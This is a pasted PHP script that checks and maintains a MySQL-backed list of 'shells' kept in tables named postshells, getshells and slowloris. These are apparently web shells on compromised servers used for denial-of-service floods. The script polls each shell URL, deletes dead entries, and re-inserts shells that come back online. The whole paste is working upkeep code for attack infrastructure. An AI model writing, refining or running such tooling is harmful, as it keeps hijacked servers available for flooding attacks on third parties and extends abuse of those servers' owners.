Advertisement
Guest User

Untitled

a guest
Sep 17th, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.54 KB | None | 0 0
  1. <?php
  2.  
  3. /* START OF CONFIGURATION SECTION */
  4. $mysql_username = 'dfsafd'; // MySQL User Name
  5. $mysql_password = 'dfdsaf'; // MySQL Password
  6. $mysql_hostname = 'localhost'; // MySQL Host Name
  7. $mysql_hostport = 3306; // MySQL Host Port
  8. $mysql_database = 'dfasdfdsr'; // MySQL Database
  9. $mysql_shelltbl = 'shellpool'; // MySQL Table Name (will be created if it does not exist)
  10. $mysql_stengine = 'MyISAM'; // Preferred MySQL Storage Engine (MyISAM, MRG_MyISAM or InnoDB)
  11.  
  12. $shell_remove = 3; // Number of days before a shell that is offline due to downtime is removed.
  13. $shell_tables = 'postshells,getshells,slowloris'; // Table names where your shells are (comma seperated)
  14. $shell_fields = 'URL,URL,URL'; // Field names where the url is stored in the above table(s)
  15. /* END OF CONFIGURATION SECTION */
  16.  
  17. /* DO NOT EDIT ANY FURTHER UNLESS YOU KNOW WHAT YOU ARE DOING! */
  18.  
  19. set_time_limit(121);
  20. error_reporting(E_PARSE);
  21.  
  22. $shell_tables = explode(',', $shell_tables);
  23. $shell_fields = explode(',', $shell_fields);
  24.  
  25. mysql_connect($mysql_hostname.':'.$mysql_hostport, $mysql_username, $mysql_password) OR die ("Unable to establish mysql connection on ".$mysql_hostname.".");
  26. mysql_select_db($mysql_database) OR die ("Unable to connect to mysql database ".$mysql_database.".");
  27.  
  28. if (!mysql_query("SELECT * FROM ".$mysql_shelltbl))
  29. mysql_query("CREATE TABLE `".$mysql_shelltbl."` (`url` VARCHAR( 254 ) NOT NULL ,`uts` int(15) NOT NULL DEFAULT '0',`tbl` VARCHAR( 32 ) NOT NULL ,`qry` LONGTEXT NOT NULL) ENGINE=".$mysql_stengine.";") OR die ("Unable to create table ".$mysql_shelltbl.".");
  30.  
  31. for ($i = 0; $i <= count($shell_tables)-1; $i++)
  32. {
  33. $qry[$i] = mysql_query("SHOW COLUMNS FROM ".$shell_tables[$i]) OR die ("Unable to show columns from table ".$shell_tables[$i].".");
  34. $fields[$shell_tables[$i]] = 0;
  35.  
  36. while ($res[$i] = mysql_fetch_assoc($qry[$i]))
  37. {
  38. $layout[$shell_tables[$i]][] = $res[$i];
  39. $fields[$shell_tables[$i]]++;
  40. }
  41.  
  42. $c =-1;
  43. $sel = mysql_query("SELECT * FROM `".$shell_tables[$i]."`") OR die ("Could not select from table ".$shell_tables[$i].".");
  44.  
  45. if (mysql_num_rows($sel) > 0)
  46. while ($row = mysql_fetch_row($sel))
  47. {
  48. $c++;
  49. $GLOBALS[$shell_tables[$i].'_url'] = $shell_fields[$i];
  50. for ($x = 0; $x <= $fields[$shell_tables[$i]]-1; $x++)
  51. if ($layout[$shell_tables[$i]][$x]['Extra'] == 'auto_increment')
  52. $data[$shell_tables[$i]][$c][$layout[$shell_tables[$i]][$x]['Field']] = 'NULL';
  53. else
  54. $data[$shell_tables[$i]][$c][$layout[$shell_tables[$i]][$x]['Field']] = $row[$x];
  55. }
  56.  
  57. }
  58.  
  59. $c =-1;
  60. if (isset($data))
  61. {
  62. foreach (array_keys($data) as $table)
  63. foreach (array_keys($data[$table]) as $row)
  64. {
  65. $c++;
  66. $key = array_keys($data[$table][$row]);
  67. $val = array_map('mysql_real_escape_string', array_values($data[$table][$row]));
  68. $arr[$c]['url'] = $data[$table][$row][$GLOBALS[$table.'_url']];
  69. $arr[$c]['fld'] = $GLOBALS[$table.'_url'];
  70. $arr[$c]['tbl'] = $table;
  71. $arr[$c]['qry'] = base64_encode('INSERT INTO `'.$table.'` (`'.implode('`,`', $key).'`) VALUES (\''.implode('\',\'', $val).'\');');
  72.  
  73. }
  74.  
  75. foreach ($arr as $req)
  76. {
  77. unset($http_response_header);
  78. $url = file_get_contents($req['url']);
  79. if (!$url)
  80. {
  81. mysql_query("INSERT INTO `".$mysql_shelltbl."` (`url`, `uts`, `tbl`, `qry`) VALUES ('".$req['url']."', ".time().", '".$req['tbl']."', '".$req['qry']."');");
  82. mysql_query("DELETE FROM `".$req['tbl']. "` WHERE ".$req['fld']." = '".$req['url']."';");
  83. }
  84. elseif (!strstr($http_response_header[0], '200'))
  85. mysql_query("DELETE FROM `".$req['tbl']. "` WHERE ".$req['fld']." = '".$req['url']."';");
  86. }
  87.  
  88. }
  89.  
  90. $sel = mysql_query("SELECT * FROM `".$mysql_shelltbl."`") OR die ("Could not select from table ".$mysql_shelltbl.".");
  91.  
  92. if (mysql_num_rows($sel) > 0)
  93. while ($row = mysql_fetch_row($sel))
  94. {
  95. unset($http_response_header);
  96. $url = file_get_contents($row[0]);
  97. if (!$url && $row[1] < time() - $shell_remove * 24 * 60 * 60)
  98. mysql_query("DELETE FROM `".$mysql_shelltbl. "` WHERE url = '".$row[0]."';");
  99. elseif (strstr($http_response_header[0], '200'))
  100. {
  101. mysql_query(base64_decode($row[3]));
  102. mysql_query("DELETE FROM `".$mysql_shelltbl. "` WHERE url = '".$row[0]."';");
  103. }
  104. }
  105. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement